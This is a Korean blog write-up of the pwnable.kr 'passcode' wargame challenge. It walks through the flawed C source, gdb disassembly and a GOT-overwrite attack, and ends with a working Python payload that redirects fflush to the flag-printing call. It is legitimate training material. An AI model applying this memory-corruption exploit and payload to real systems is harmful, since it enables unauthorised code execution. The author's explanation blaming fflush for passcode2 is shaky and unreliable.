[pwnable.kr] passcode(10 pts) :: Write-Up

두비니

·

2020. 1. 28. 20:05

 

 

 

 

 

 

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

 

 

 

passcode입니다.

 

우선 컴파일러 경고가 있었지만, 뭐 문제가 있겠냐고 하네요.

코드를 봅시다.

 

 

권한을 얻어 flag를 열어야겠네요.

 

passcode@pwnable:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 

보면 welcome, login함수가 차례로 실행이 되는데, passcode1과 passcode2가 각각 만족하는 값이면 flag를 자동으로 실행시켜주네요.

 

 

passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : dubini0
Welcome dubini0!
enter passcode1 : 338150
Segmentation fault (core dumped)

 

일단 단순히 passcode1에 값이 마음대로 값이 들어가지 못하는걸 보고 당황했지만, 코드를 다시 보면 이상한 점을 발견할 수 있습니다.

 

	scanf("%d", passcode1);
	scanf("%d", passcode2);

 

 

우리는 보통 scanf를 이용할 때, 변수 앞에 &를 붙여 주소값이라는 걸 명시해주는데, 만약 저렇게 &를 붙이지 않을 경우, 말그대로 passcode1안에있는 주소값에 우리가 입력하려는 값을 넣을 것인데, 당연히 passcode1이라는 주소값은 쓰레기값일 것이고, 아마도 존재하지 않을 것이기 때문에 segmentation fault가 발생했을 겁니다. 문제 인트로에 컴파일러 경고가 떴다는 것도 이건거같네요.

 

 

하여튼, 그러면 직접적으로 passcode1과 passcode2에는 적는게 힘드니, 어셈코드를 봅시다.

 

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

 

welcome+48부터 보면 ebp-0x70에 name의 값이 입력되는 것을 볼 수 있고, 

 

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
---Type <return> to continue, or q <return> to quit---
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

 

여기는 login+97부터보면 cmp의 주소대상이 ebp-0x10과 ebp-0xc네요.

 

처음에는 이걸로 overflow를 일으킬 생각을 했는데, 그렇게 하니까 그게 아니더라구요. (밑에서 더 설명하겠지만 여기서 overflow는 틀린 표현입니다. 밑에서 더 설명하겠습니다)

 

그 이유는 fflush때문에 그렇습니다.

fflush함수때문에 어떤값을 집어넣든 passcode2에는 밑에 스샷처럼 그냥 \n이 들어가게 되더군요.

찾아보니 윈도우에는 그런 문제가 없던데 linux에서 발생하는 문제가 아닐까...싶습니다.

(추가로 알게될시 내용 추가하겠음)

 

 

 

즉, 우리가 passcode2에 값을 쓸 방법은 없기때문에 

plt와 got를 이용해 overwrite시킵시다.

 

got와 plt에대한 기본적인 설명

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

plt/got를 구하는 방법

https://noisivohees.tistory.com/26

 

 

둘다 좋은 글이니 참고하시면 좋을 것 같아요!

 

어쨌든 본론으로 돌아와서, 우리가 세울 수 있는 공격계획은 우리가 접근할 수 있는 범위 내의 got/plt를 overwrite시켜 exploit하는 계획이겠죠.

 

 

 

 

그럼 우리가 쓸 수 있는 메모리 공간을 찾아봅시다.

 

우리가 위에서 오버플로우를 일으키려고 했던걸 다시 봅시다.

name의 범위는 ebp-0x70 ~ ebp-0x0c까지고, passcode1의 영역은 ebp-0x10 ~ ebp-0xc입니다.

 

즉 아까전에 제가 overflow라고 했던거는 정확히는 memory corruption인거죠. 즉 메모리가 겹치게 코딩이 된것입니다.

 

따라서 원래대로였다면 

ebp-0x10~ebp-0xc부분에 주소를 적어놓으면 시스템은 그 주소로 가게 된다는 것이죠. 여기에다가 got overwrite를 통해 exploit해보겠습니다. 이때 이용할 함수는 fflush를 이용해볼게요. 이유는 그냥 overwrite했을때 특히 상관이 없는 함수라서. (exit함수를 이용할 때도 많음.)

 

그럼 우리가 구할 것은

2) fflush의 got

3) '/bin/cat flag'의 주소

 

3)번내용이 flag실행시키는 이유는 got overwrite를 쟤로 할거니깐!

(이게 이해가 안된다면 위에 링크를 달아놓은 문서를 읽고 옵시다.)

 

2) fflush의 got

 

일단은 이거를 구하는 방법은 objdump를 이용하는거랑 직접 찾는 방법이있는데 첫번째방법은 그냥 플러그인깔고 쓰면되니까 두번째방법으로 하겠습니다.

 

x/i 는 instructions를 보는 명령어입니다.

보면 fflush가 0x804a004로 뛰는걸 볼 수 있죠?

저 주소가 fflush의 got이고, 이제 

 

3) '/bin/cat flag'의 주소

 

의 주소를 구해봅시다. 이건 쉽죠

 

login함수의 일부입니다.

bin cat flag 의 주소는 0x080487af 인것까지 알아냈네요. 그러면 다했네요!

 

 

 

(python -c 'print "A"*96+"\x04\xa0\x04\x08"+"134514147")|./passcode

 

 

payload는 다음과 같고, 

 

 

 

끝!

 

생각보다 어려워서 한참을 헤맨 문제인거같아요... 어쨌든 다음;-;